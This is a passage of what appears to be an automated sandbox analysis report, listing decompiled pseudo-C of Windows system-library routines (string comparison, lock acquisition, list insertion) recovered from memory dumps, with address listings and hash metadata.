                                      				_t6 = _t57 + 0x3758204; // 0x0
                                      				_t123 =  *_t6;
                                      				_t7 = _t57 + 0x3758208; // 0x3758207
                                      				_t8 = _t57 + 0x3758208; // 0x3758207
                                      				_t119 = _t8;
                                      				_v36 = _t123;
                                      				_t110 = _t7 + _t123 * 8;
                                      				_v24 = _t110;
                                      				_t111 = _a4;
                                      				if(_t119 >= _t110) {
                                      					L12:
                                      					if(_t123 != 3) {
                                      						_t58 =  *0x3758450; // 0x903cbe
                                      						if(_t58 == 0) {
                                      							_t58 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x48));
                                      						}
                                      					} else {
                                      						_t26 = _t57 + 0x375821c; // 0x0
                                      						_t58 =  *_t26;
                                      					}
                                      					 *_t90 = _t58;
                                      					goto L15;
                                      				} else {
                                      					goto L2;
                                      				}
                                      				while(1) {
                                      					_t116 =  *_t61 & 0x0000ffff;
                                      					_t128 =  *(_t127 + _t61) & 0x0000ffff;
                                      					if(_t116 == _t128) {
                                      						goto L18;
                                      					}
                                      					L5:
                                      					if(_t116 >= 0x61) {
                                      						if(_t116 > 0x7a) {
                                      							_t97 =  *0x3756d5c; // 0x7fd50654
                                      							_t72 =  *0x3756d5c; // 0x7fd50654
                                      							_t75 =  *0x3756d5c; // 0x7fd50654
                                      							_t116 =  *((intOrPtr*)(_t75 + (( *(_t72 + (( *(_t97 + (_t116 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t116 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t116 & 0x0000000f)) * 2)) + _t116 & 0x0000ffff;
                                      						} else {
                                      							_t116 = _t116 - 0x20;
                                      						}
                                      					}
                                      					if(_t128 >= 0x61) {
                                      						if(_t128 > 0x7a) {
                                      							_t102 =  *0x3756d5c; // 0x7fd50654
                                      							_t84 =  *0x3756d5c; // 0x7fd50654
                                      							_t87 =  *0x3756d5c; // 0x7fd50654
                                      							_t128 =  *((intOrPtr*)(_t87 + (( *(_t84 + (( *(_t102 + (_t128 >> 0x00000008 & 0x000000ff) * 2) & 0x0000ffff) + (_t128 >> 0x00000004 & 0x0000000f)) * 2) & 0x0000ffff) + (_t128 & 0x0000000f)) * 2)) + _t128 & 0x0000ffff;
                                      						} else {
                                      							_t128 = _t128 - 0x20;
                                      						}
                                      					}
                                      					if(_t116 == _t128) {
                                      						_t61 = _v12;
                                      						_t96 = _v8;
                                      					} else {
                                      						_t113 = _t116 - _t128;
                                      						L9:
                                      						_t111 = _a4;
                                      						if(_t113 == 0) {
                                      							_t115 =  &(( *_t119)[_t111 + 1]);
                                      							_t33 =  &(_t119[1]); // 0x100
                                      							_t120 = _a8;
                                      							_t95 =  *_t33 -  &(( *_t119)[_t111 + 1]) >> 1;
                                      							_t35 = _t95 - 1; // 0xff
                                      							_t124 = _t35;
                                      							if(_t120 == 0) {
                                      								L27:
                                      								 *_a16 = _t95;
                                      								_t56 = 0xc0000023;
                                      								goto L16;
                                      							}
                                      							if(_t124 >= _a12) {
                                      								if(_a12 >= 1) {
                                      									 *_t120 = 0;
                                      								}
                                      								goto L27;
                                      							}
                                      							 *_a16 = _t124;
                                      							_t125 = _t124 + _t124;
                                      							E036AF3E0(_t120, _t115, _t125);
                                      							_t56 = 0;
                                      							 *((short*)(_t125 + _t120)) = 0;
                                      							goto L16;
                                      						}
                                      						_t119 =  &(_t119[2]);
                                      						if(_t119 < _v24) {
                                      							L2:
                                      							_t91 =  *_t119;
                                      							_t61 = _t91;
                                      							_v12 = _t61;
                                      							_t112 =  &(_t61[_t111]);
                                      							_v8 = _t112;
                                      							if(_t61 >= _t112) {
                                      								break;
                                      							} else {
                                      								_t127 = _v16 - _t91;
                                      								_t96 = _t112;
                                      								_v20 = _t127;
                                      								_t116 =  *_t61 & 0x0000ffff;
                                      								_t128 =  *(_t127 + _t61) & 0x0000ffff;
                                      								if(_t116 == _t128) {
                                      									goto L18;
                                      								}
                                      								goto L5;
                                      							}
                                      						} else {
                                      							_t90 = _v28;
                                      							_t57 = _v32;
                                      							_t123 = _v36;
                                      							goto L12;
                                      						}
                                      					}
                                      					L18:
                                      					_t61 =  &(_t61[1]);
                                      					_v12 = _t61;
                                      					if(_t61 >= _t96) {
                                      						break;
                                      					}
                                      					_t127 = _v20;
                                      				}
                                      				_t113 = 0;
                                      				goto L9;
                                      			}






































                                      0x03692ae4
                                      0x03692aec
                                      0x03692aef
                                      0x03692af4
                                      0x03692af7
                                      0x03692afd
                                      0x03692b92
                                      0x03692b92
                                      0x03692b97
                                      0x03692b9c
                                      0x03692b9c
                                      0x03692b03
                                      0x03692b06
                                      0x03692b09
                                      0x03692b09
                                      0x03692b0f
                                      0x03692b15
                                      0x03692b15
                                      0x03692b1b
                                      0x03692b1e
                                      0x03692b21
                                      0x03692b26
                                      0x03692b29
                                      0x03692b81
                                      0x03692b84
                                      0x03692c0e
                                      0x03692c15
                                      0x03692c24
                                      0x03692c24
                                      0x03692b8a
                                      0x03692b8a
                                      0x03692b8a
                                      0x03692b8a
                                      0x03692b90
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03692b4a
                                      0x03692b4a
                                      0x03692b4d
                                      0x03692b53
                                      0x00000000
                                      0x00000000
                                      0x03692b55
                                      0x03692b58
                                      0x03692bb7
                                      0x036d5d1b
                                      0x036d5d37
                                      0x036d5d47
                                      0x036d5d53
                                      0x03692bbd
                                      0x03692bbd
                                      0x03692bbd
                                      0x03692bb7
                                      0x03692b5d
                                      0x03692c2f
                                      0x036d5d5b
                                      0x036d5d77
                                      0x036d5d87
                                      0x036d5d93
                                      0x03692c35
                                      0x03692c35
                                      0x03692c35
                                      0x03692c2f
                                      0x03692b65
                                      0x03692b9f
                                      0x03692ba2
                                      0x03692b67
                                      0x03692b67
                                      0x03692b69
                                      0x03692b6b
                                      0x03692b6e
                                      0x03692bc9
                                      0x03692bcc
                                      0x03692bcf
                                      0x03692bd4
                                      0x03692bd6
                                      0x03692bd6
                                      0x03692bdb
                                      0x03692c02
                                      0x03692c05
                                      0x03692c07
                                      0x00000000
                                      0x03692c07
                                      0x03692be0
                                      0x03692c00
                                      0x03692c3f
                                      0x03692c3f
                                      0x00000000
                                      0x03692c00
                                      0x03692be5
                                      0x03692be7
                                      0x03692bec
                                      0x03692bf4
                                      0x03692bf6
                                      0x00000000
                                      0x03692bf6
                                      0x03692b70
                                      0x03692b76
                                      0x03692b2b
                                      0x03692b2b
                                      0x03692b2d
                                      0x03692b2f
                                      0x03692b32
                                      0x03692b35
                                      0x03692b3a
                                      0x00000000
                                      0x03692b40
                                      0x03692b43
                                      0x03692b45
                                      0x03692b47
                                      0x03692b4a
                                      0x03692b4d
                                      0x03692b53
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03692b53
                                      0x03692b78
                                      0x03692b78
                                      0x03692b7b
                                      0x03692b7e
                                      0x00000000
                                      0x03692b7e
                                      0x03692b76
                                      0x03692ba5
                                      0x03692ba5
                                      0x03692ba8
                                      0x03692bad
                                      0x00000000
                                      0x00000000
                                      0x03692baf
                                      0x03692baf
                                      0x03692bc2
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 86fd637ba71d5c5e625ab95919ee3bfd1a4836c1a021b64c7cf815ebcf48da53
                                      • Instruction ID: 61be8df1b154ef32aad138ab8fcf65e0921828423c2caf02ff735bcb316d0eba
                                      • Opcode Fuzzy Hash: 86fd637ba71d5c5e625ab95919ee3bfd1a4836c1a021b64c7cf815ebcf48da53
                                      • Instruction Fuzzy Hash: 0151C276A00119EFDF18DF1CC4A09BEB7F9FB98704705895AE846AB318D734AA51CB90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 96%
                                      			E0367EF40(intOrPtr __ecx) {
                                      				char _v5;
                                      				char _v6;
                                      				char _v7;
                                      				char _v8;
                                      				signed int _v12;
                                      				intOrPtr _v16;
                                      				intOrPtr _v20;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				intOrPtr _t58;
                                      				char _t59;
                                      				signed char _t69;
                                      				void* _t73;
                                      				signed int _t74;
                                      				char _t79;
                                      				signed char _t81;
                                      				signed int _t85;
                                      				signed int _t87;
                                      				intOrPtr _t90;
                                      				signed char* _t91;
                                      				void* _t92;
                                      				signed int _t94;
                                      				void* _t96;
                                      
                                      				_t90 = __ecx;
                                      				_v16 = __ecx;
                                      				if(( *(__ecx + 0x14) & 0x04000000) != 0) {
                                      					_t58 =  *((intOrPtr*)(__ecx));
                                      					if(_t58 != 0xffffffff &&  *((intOrPtr*)(_t58 + 8)) == 0) {
                                      						E03669080(_t73, __ecx, __ecx, _t92);
                                      					}
                                      				}
                                      				_t74 = 0;
                                      				_t96 =  *0x7ffe036a - 1;
                                      				_v12 = 0;
                                      				_v7 = 0;
                                      				if(_t96 > 0) {
                                      					_t74 =  *(_t90 + 0x14) & 0x00ffffff;
                                      					_v12 = _t74;
                                      					_v7 = _t96 != 0;
                                      				}
                                      				_t79 = 0;
                                      				_v8 = 0;
                                      				_v5 = 0;
                                      				while(1) {
                                      					L4:
                                      					_t59 = 1;
                                      					L5:
                                      					while(1) {
                                      						if(_t59 == 0) {
                                      							L12:
                                      							_t21 = _t90 + 4; // 0x772ac21e
                                      							_t87 =  *_t21;
                                      							_v6 = 0;
                                      							if(_t79 != 0) {
                                      								if((_t87 & 0x00000002) != 0) {
                                      									goto L19;
                                      								}
                                      								if((_t87 & 0x00000001) != 0) {
                                      									_v6 = 1;
                                      									_t74 = _t87 ^ 0x00000003;
                                      								} else {
                                      									_t51 = _t87 - 2; // -2
                                      									_t74 = _t51;
                                      								}
                                      								goto L15;
                                      							} else {
                                      								if((_t87 & 0x00000001) != 0) {
                                      									_v6 = 1;
                                      									_t74 = _t87 ^ 0x00000001;
                                      								} else {
                                      									_t26 = _t87 - 4; // -4
                                      									_t74 = _t26;
                                      									if((_t74 & 0x00000002) == 0) {
                                      										_t74 = _t74 - 2;
                                      									}
                                      								}
                                      								L15:
                                      								if(_t74 == _t87) {
                                      									L19:
                                      									E03662D8A(_t74, _t90, _t87, _t90);
                                      									_t74 = _v12;
                                      									_v8 = 1;
                                      									if(_v7 != 0 && _t74 > 0x64) {
                                      										_t74 = _t74 - 1;
                                      										_v12 = _t74;
                                      									}
                                      									_t79 = _v5;
                                      									goto L4;
                                      								}
                                      								asm("lock cmpxchg [esi], ecx");
                                      								if(_t87 != _t87) {
                                      									_t74 = _v12;
                                      									_t59 = 0;
                                      									_t79 = _v5;
                                      									continue;
                                      								}
                                      								if(_v6 != 0) {
                                      									_t74 = _v12;
                                      									L25:
                                      									if(_v7 != 0) {
                                      										if(_t74 < 0x7d0) {
                                      											if(_v8 == 0) {
                                      												_t74 = _t74 + 1;
                                      											}
                                      										}
                                      										_t38 = _t90 + 0x14; // 0x0
                                      										_t39 = _t90 + 0x14; // 0x0
                                      										_t85 = ( *_t38 ^ _t74) & 0x00ffffff ^  *_t39;
                                      										if( *((intOrPtr*)( *[fs:0x30] + 0x64)) == 1) {
                                      											_t85 = _t85 & 0xff000000;
                                      										}
                                      										 *(_t90 + 0x14) = _t85;
                                      									}
                                      									 *((intOrPtr*)(_t90 + 0xc)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
                                      									 *((intOrPtr*)(_t90 + 8)) = 1;
                                      									return 0;
                                      								}
                                      								_v5 = 1;
                                      								_t87 = _t74;
                                      								goto L19;
                                      							}
                                      						}
                                      						_t94 = _t74;
                                      						_v20 = 1 + (0 | _t79 != 0x00000000) * 2;
                                      						if(_t74 == 0) {
                                      							goto L12;
                                      						} else {
                                      							_t91 = _t90 + 4;
                                      							goto L8;
                                      							L9:
                                      							while((_t81 & 0x00000001) != 0) {
                                      								_t69 = _t81;
                                      								asm("lock cmpxchg [edi], edx");
                                      								if(_t69 != _t81) {
                                      									_t81 = _t69;
                                      									continue;
                                      								}
                                      								_t90 = _v16;
                                      								goto L25;
                                      							}
                                      							asm("pause");
                                      							_t94 = _t94 - 1;
                                      							if(_t94 != 0) {
                                      								L8:
                                      								_t81 =  *_t91;
                                      								goto L9;
                                      							} else {
                                      								_t90 = _v16;
                                      								_t79 = _v5;
                                      								goto L12;
                                      							}
                                      						}
                                      					}
                                      				}
                                      			}




























                                      0x0367ef4b
                                      0x0367ef4d
                                      0x0367ef57
                                      0x0367f0bd
                                      0x0367f0c2
                                      0x0367f0d2
                                      0x0367f0d2
                                      0x0367f0c2
                                      0x0367ef5d
                                      0x0367ef5f
                                      0x0367ef67
                                      0x0367ef6a
                                      0x0367ef6d
                                      0x0367ef74
                                      0x0367ef7f
                                      0x0367ef82
                                      0x0367ef82
                                      0x0367ef86
                                      0x0367ef88
                                      0x0367ef8c
                                      0x0367ef8f
                                      0x0367ef8f
                                      0x0367ef8f
                                      0x00000000
                                      0x0367ef91
                                      0x0367ef93
                                      0x0367efc4
                                      0x0367efc4
                                      0x0367efc4
                                      0x0367efca
                                      0x0367efd0
                                      0x0367f0a6
                                      0x00000000
                                      0x00000000
                                      0x0367f0af
                                      0x036cbb06
                                      0x036cbb0a
                                      0x0367f0b5
                                      0x0367f0b5
                                      0x0367f0b5
                                      0x0367f0b5
                                      0x00000000
                                      0x0367efd6
                                      0x0367efd9
                                      0x0367f0de
                                      0x0367f0e2
                                      0x0367efdf
                                      0x0367efdf
                                      0x0367efdf
                                      0x0367efe5
                                      0x036cbafc
                                      0x036cbafc
                                      0x0367efe5
                                      0x0367efeb
                                      0x0367efed
                                      0x0367f00f
                                      0x0367f011
                                      0x0367f01a
                                      0x0367f01d
                                      0x0367f021
                                      0x0367f028
                                      0x0367f029
                                      0x0367f029
                                      0x0367f02c
                                      0x00000000
                                      0x0367f02c
                                      0x0367eff3
                                      0x0367eff9
                                      0x0367f0ea
                                      0x0367f0ed
                                      0x0367f0ef
                                      0x00000000
                                      0x0367f0ef
                                      0x0367f003
                                      0x036cbb12
                                      0x0367f045
                                      0x0367f049
                                      0x0367f051
                                      0x0367f09e
                                      0x0367f0a0
                                      0x0367f0a0
                                      0x0367f09e
                                      0x0367f053
                                      0x0367f064
                                      0x0367f064
                                      0x0367f06b
                                      0x036cbb1a
                                      0x036cbb1a
                                      0x0367f071
                                      0x0367f071
                                      0x0367f07d
                                      0x0367f082
                                      0x0367f08f
                                      0x0367f08f
                                      0x0367f009
                                      0x0367f00d
                                      0x00000000
                                      0x0367f00d
                                      0x0367efd0
                                      0x0367ef97
                                      0x0367efa5
                                      0x0367efaa
                                      0x00000000
                                      0x0367efac
                                      0x0367efac
                                      0x0367efac
                                      0x00000000
                                      0x0367efb2
                                      0x0367f036
                                      0x0367f03a
                                      0x0367f040
                                      0x0367f090
                                      0x00000000
                                      0x0367f092
                                      0x0367f042
                                      0x00000000
                                      0x0367f042
                                      0x0367efb7
                                      0x0367efb9
                                      0x0367efbc
                                      0x0367efb0
                                      0x0367efb0
                                      0x00000000
                                      0x0367efbe
                                      0x0367efbe
                                      0x0367efc1
                                      0x00000000
                                      0x0367efc1
                                      0x0367efbc
                                      0x0367efaa
                                      0x0367ef91

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
                                      • Instruction ID: 9c0b8f7c8b3e24eed36148ab6aa289c25b0f8b6f6b7416479fe103a6eb74da86
                                      • Opcode Fuzzy Hash: fbecc144452e6e9740e37df579310400ca1de53fcc592e2907188de4c37816b0
                                      • Instruction Fuzzy Hash: B7510430E04645EFDB14CB68C2E0BAEFBB1AF05354F5C81E8C4559B381C77AA98AC751
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 84%
                                      			E0373740D(intOrPtr __ecx, signed short* __edx, intOrPtr _a4) {
                                      				signed short* _v8;
                                      				intOrPtr _v12;
                                      				intOrPtr _t55;
                                      				void* _t56;
                                      				intOrPtr* _t66;
                                      				intOrPtr* _t69;
                                      				void* _t74;
                                      				intOrPtr* _t78;
                                      				intOrPtr* _t81;
                                      				intOrPtr* _t82;
                                      				intOrPtr _t83;
                                      				signed short* _t84;
                                      				intOrPtr _t85;
                                      				signed int _t87;
                                      				intOrPtr* _t90;
                                      				intOrPtr* _t93;
                                      				intOrPtr* _t94;
                                      				void* _t98;
                                      
                                      				_t84 = __edx;
                                      				_t80 = __ecx;
                                      				_push(__ecx);
                                      				_push(__ecx);
                                      				_t55 = __ecx;
                                      				_v8 = __edx;
                                      				_t87 =  *__edx & 0x0000ffff;
                                      				_v12 = __ecx;
                                      				_t3 = _t55 + 0x154; // 0x154
                                      				_t93 = _t3;
                                      				_t78 =  *_t93;
                                      				_t4 = _t87 + 2; // 0x2
                                      				_t56 = _t4;
                                      				while(_t78 != _t93) {
                                      					if( *((intOrPtr*)(_t78 + 0x14)) != _t56) {
                                      						L4:
                                      						_t78 =  *_t78;
                                      						continue;
                                      					} else {
                                      						_t7 = _t78 + 0x18; // 0x18
                                      						if(E036BD4F0(_t7, _t84[2], _t87) == _t87) {
                                      							_t40 = _t78 + 0xc; // 0xc
                                      							_t94 = _t40;
                                      							_t90 =  *_t94;
                                      							while(_t90 != _t94) {
                                      								_t41 = _t90 + 8; // 0x8
                                      								_t74 = E036AF380(_a4, _t41, 0x10);
                                      								_t98 = _t98 + 0xc;
                                      								if(_t74 != 0) {
                                      									_t90 =  *_t90;
                                      									continue;
                                      								}
                                      								goto L12;
                                      							}
                                      							_t82 = L03684620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
                                      							if(_t82 != 0) {
                                      								_t46 = _t78 + 0xc; // 0xc
                                      								_t69 = _t46;
                                      								asm("movsd");
                                      								asm("movsd");
                                      								asm("movsd");
                                      								asm("movsd");
                                      								_t85 =  *_t69;
                                      								if( *((intOrPtr*)(_t85 + 4)) != _t69) {
                                      									L20:
                                      									_t82 = 3;
                                      									asm("int 0x29");
                                      								}
                                      								 *((intOrPtr*)(_t82 + 4)) = _t69;
                                      								 *_t82 = _t85;
                                      								 *((intOrPtr*)(_t85 + 4)) = _t82;
                                      								 *_t69 = _t82;
                                      								 *(_t78 + 8) =  *(_t78 + 8) + 1;
                                      								 *(_v12 + 0xdc) =  *(_v12 + 0xdc) | 0x00000010;
                                      								goto L11;
                                      							} else {
                                      								L18:
                                      								_push(0xe);
                                      								_pop(0);
                                      							}
                                      						} else {
                                      							_t84 = _v8;
                                      							_t9 = _t87 + 2; // 0x2
                                      							_t56 = _t9;
                                      							goto L4;
                                      						}
                                      					}
                                      					L12:
                                      					return 0;
                                      				}
                                      				_t10 = _t87 + 0x1a; // 0x1a
                                      				_t78 = L03684620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t10);
                                      				if(_t78 == 0) {
                                      					goto L18;
                                      				} else {
                                      					_t12 = _t87 + 2; // 0x2
                                      					 *((intOrPtr*)(_t78 + 0x14)) = _t12;
                                      					_t16 = _t78 + 0x18; // 0x18
                                      					E036AF3E0(_t16, _v8[2], _t87);
                                      					 *((short*)(_t78 + _t87 + 0x18)) = 0;
                                      					_t19 = _t78 + 0xc; // 0xc
                                      					_t66 = _t19;
                                      					 *((intOrPtr*)(_t66 + 4)) = _t66;
                                      					 *_t66 = _t66;
                                      					 *(_t78 + 8) =  *(_t78 + 8) & 0x00000000;
                                      					_t81 = L03684620(_t80,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x18);
                                      					if(_t81 == 0) {
                                      						goto L18;
                                      					} else {
                                      						_t26 = _t78 + 0xc; // 0xc
                                      						_t69 = _t26;
                                      						asm("movsd");
                                      						asm("movsd");
                                      						asm("movsd");
                                      						asm("movsd");
                                      						_t85 =  *_t69;
                                      						if( *((intOrPtr*)(_t85 + 4)) != _t69) {
                                      							goto L20;
                                      						} else {
                                      							 *((intOrPtr*)(_t81 + 4)) = _t69;
                                      							 *_t81 = _t85;
                                      							 *((intOrPtr*)(_t85 + 4)) = _t81;
                                      							 *_t69 = _t81;
                                      							_t83 = _v12;
                                      							 *(_t78 + 8) = 1;
                                      							 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
                                      							_t34 = _t83 + 0x154; // 0x1ba
                                      							_t69 = _t34;
                                      							_t85 =  *_t69;
                                      							if( *((intOrPtr*)(_t85 + 4)) != _t69) {
                                      								goto L20;
                                      							} else {
                                      								 *_t78 = _t85;
                                      								 *((intOrPtr*)(_t78 + 4)) = _t69;
                                      								 *((intOrPtr*)(_t85 + 4)) = _t78;
                                      								 *_t69 = _t78;
                                      								 *(_t83 + 0xdc) =  *(_t83 + 0xdc) | 0x00000010;
                                      							}
                                      						}
                                      						goto L11;
                                      					}
                                      				}
                                      				goto L12;
                                      			}





















                                      0x0373740d
                                      0x0373740d
                                      0x03737412
                                      0x03737413
                                      0x03737416
                                      0x03737418
                                      0x0373741c
                                      0x0373741f
                                      0x03737422
                                      0x03737422
                                      0x03737428
                                      0x0373742a
                                      0x0373742a
                                      0x03737451
                                      0x03737432
                                      0x0373744f
                                      0x0373744f
                                      0x00000000
                                      0x03737434
                                      0x03737438
                                      0x03737443
                                      0x03737517
                                      0x03737517
                                      0x0373751a
                                      0x03737535
                                      0x03737520
                                      0x03737527
                                      0x0373752c
                                      0x03737531
                                      0x03737533
                                      0x00000000
                                      0x03737533
                                      0x00000000
                                      0x03737531
                                      0x0373754b
                                      0x0373754f
                                      0x0373755c
                                      0x0373755c
                                      0x0373755f
                                      0x03737560
                                      0x03737561
                                      0x03737562
                                      0x03737563
                                      0x03737568
                                      0x0373756a
                                      0x0373756c
                                      0x0373756d
                                      0x0373756d
                                      0x0373756f
                                      0x03737572
                                      0x03737574
                                      0x03737577
                                      0x0373757c
                                      0x0373757f
                                      0x00000000
                                      0x03737551
                                      0x03737551
                                      0x03737551
                                      0x03737553
                                      0x03737553
                                      0x03737449
                                      0x03737449
                                      0x0373744c
                                      0x0373744c
                                      0x00000000
                                      0x0373744c
                                      0x03737443
                                      0x0373750e
                                      0x03737514
                                      0x03737514
                                      0x03737455
                                      0x03737469
                                      0x0373746d
                                      0x00000000
                                      0x03737473
                                      0x03737473
                                      0x03737476
                                      0x03737480
                                      0x03737484
                                      0x0373748e
                                      0x03737493
                                      0x03737493
                                      0x03737496
                                      0x03737499
                                      0x037374a1
                                      0x037374b1
                                      0x037374b5
                                      0x00000000
                                      0x037374bb
                                      0x037374c1
                                      0x037374c1
                                      0x037374c4
                                      0x037374c5
                                      0x037374c6
                                      0x037374c7
                                      0x037374c8
                                      0x037374cd
                                      0x00000000
                                      0x037374d3
                                      0x037374d3
                                      0x037374d6
                                      0x037374d8
                                      0x037374db
                                      0x037374dd
                                      0x037374e0
                                      0x037374e7
                                      0x037374ee
                                      0x037374ee
                                      0x037374f4
                                      0x037374f9
                                      0x00000000
                                      0x037374fb
                                      0x037374fb
                                      0x037374fd
                                      0x03737500
                                      0x03737503
                                      0x03737505
                                      0x03737505
                                      0x037374f9
                                      0x00000000
                                      0x037374cd
                                      0x037374b5
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
                                      • Instruction ID: e600c245dfd3c89d793686e63c2345a992dcfdbe581aaa0f367c52addd7c5f6d
                                      • Opcode Fuzzy Hash: 01a4d08349e29d22493120a27b3d49beb444160764ac4f0ac8d9a4757e3060ec
                                      • Instruction Fuzzy Hash: 24516EB1600646EFDB19CF14C480A56FBF5FF46305F19C1AAE9089F212E771E985CB90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 97%
                                      			E03692990() {
                                      				signed int* _t62;
                                      				signed int _t64;
                                      				intOrPtr _t66;
                                      				signed short* _t69;
                                      				intOrPtr _t76;
                                      				signed short* _t79;
                                      				void* _t81;
                                      				signed int _t82;
                                      				signed short* _t83;
                                      				signed int _t87;
                                      				intOrPtr _t91;
                                      				void* _t98;
                                      				signed int _t99;
                                      				void* _t101;
                                      				signed int* _t102;
                                      				void* _t103;
                                      				void* _t104;
                                      				void* _t107;
                                      
                                      				_push(0x20);
                                      				_push(0x373ff00);
                                      				E036BD08C(_t81, _t98, _t101);
                                      				 *((intOrPtr*)(_t103 - 0x28)) =  *[fs:0x18];
                                      				_t99 = 0;
                                      				 *((intOrPtr*)( *((intOrPtr*)(_t103 + 0x1c)))) = 0;
                                      				_t82 =  *((intOrPtr*)(_t103 + 0x10));
                                      				if(_t82 == 0) {
                                      					_t62 = 0xc0000100;
                                      				} else {
                                      					 *((intOrPtr*)(_t103 - 4)) = 0;
                                      					_t102 = 0xc0000100;
                                      					 *((intOrPtr*)(_t103 - 0x30)) = 0xc0000100;
                                      					_t64 = 4;
                                      					while(1) {
                                      						 *(_t103 - 0x24) = _t64;
                                      						if(_t64 == 0) {
                                      							break;
                                      						}
                                      						_t87 = _t64 * 0xc;
                                      						 *(_t103 - 0x2c) = _t87;
                                      						_t107 = _t82 -  *((intOrPtr*)(_t87 + 0x3641664));
                                      						if(_t107 <= 0) {
                                      							if(_t107 == 0) {
                                      								_t79 = E036AE5C0( *((intOrPtr*)(_t103 + 0xc)),  *((intOrPtr*)(_t87 + 0x3641668)), _t82);
                                      								_t104 = _t104 + 0xc;
                                      								__eflags = _t79;
                                      								if(__eflags == 0) {
                                      									_t102 = E036E51BE(_t82,  *((intOrPtr*)( *(_t103 - 0x2c) + 0x364166c)),  *((intOrPtr*)(_t103 + 0x14)), _t99, _t102, __eflags,  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
                                      									 *((intOrPtr*)(_t103 - 0x30)) = _t102;
                                      									break;
                                      								} else {
                                      									_t64 =  *(_t103 - 0x24);
                                      									goto L5;
                                      								}
                                      								goto L13;
                                      							} else {
                                      								L5:
                                      								_t64 = _t64 - 1;
                                      								continue;
                                      							}
                                      						}
                                      						break;
                                      					}
                                      					 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
                                      					__eflags = _t102;
                                      					if(_t102 < 0) {
                                      						__eflags = _t102 - 0xc0000100;
                                      						if(_t102 == 0xc0000100) {
                                      							_t83 =  *((intOrPtr*)(_t103 + 8));
                                      							__eflags = _t83;
                                      							if(_t83 != 0) {
                                      								 *((intOrPtr*)(_t103 - 0x20)) = _t83;
                                      								__eflags =  *_t83 - _t99;
                                      								if( *_t83 == _t99) {
                                      									_t102 = 0xc0000100;
                                      									goto L19;
                                      								} else {
                                      									_t91 =  *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30));
                                      									_t66 =  *((intOrPtr*)(_t91 + 0x10));
                                      									__eflags =  *((intOrPtr*)(_t66 + 0x48)) - _t83;
                                      									if( *((intOrPtr*)(_t66 + 0x48)) == _t83) {
                                      										__eflags =  *((intOrPtr*)(_t91 + 0x1c));
                                      										if( *((intOrPtr*)(_t91 + 0x1c)) == 0) {
                                      											L26:
                                      											_t102 = E03692AE4(_t103 - 0x20,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)));
                                      											 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
                                      											__eflags = _t102 - 0xc0000100;
                                      											if(_t102 != 0xc0000100) {
                                      												goto L12;
                                      											} else {
                                      												_t99 = 1;
                                      												_t83 =  *((intOrPtr*)(_t103 - 0x20));
                                      												goto L18;
                                      											}
                                      										} else {
                                      											_t69 = E03676600( *((intOrPtr*)(_t91 + 0x1c)));
                                      											__eflags = _t69;
                                      											if(_t69 != 0) {
                                      												goto L26;
                                      											} else {
                                      												_t83 =  *((intOrPtr*)(_t103 + 8));
                                      												goto L18;
                                      											}
                                      										}
                                      									} else {
                                      										L18:
                                      										_t102 = E03692C50(_t83,  *((intOrPtr*)(_t103 + 0xc)), _t82,  *((intOrPtr*)(_t103 + 0x14)),  *((intOrPtr*)(_t103 + 0x18)),  *((intOrPtr*)(_t103 + 0x1c)), _t99);
                                      										L19:
                                      										 *((intOrPtr*)(_t103 - 0x1c)) = _t102;
                                      										goto L12;
                                      									}
                                      								}
                                      								L28:
                                      							} else {
                                      								E0367EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
                                      								 *((intOrPtr*)(_t103 - 4)) = 1;
                                      								 *((intOrPtr*)(_t103 - 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t103 - 0x28)) + 0x30)) + 0x10)) + 0x48));
                                      								_t102 =  *((intOrPtr*)(_t103 + 0x1c));
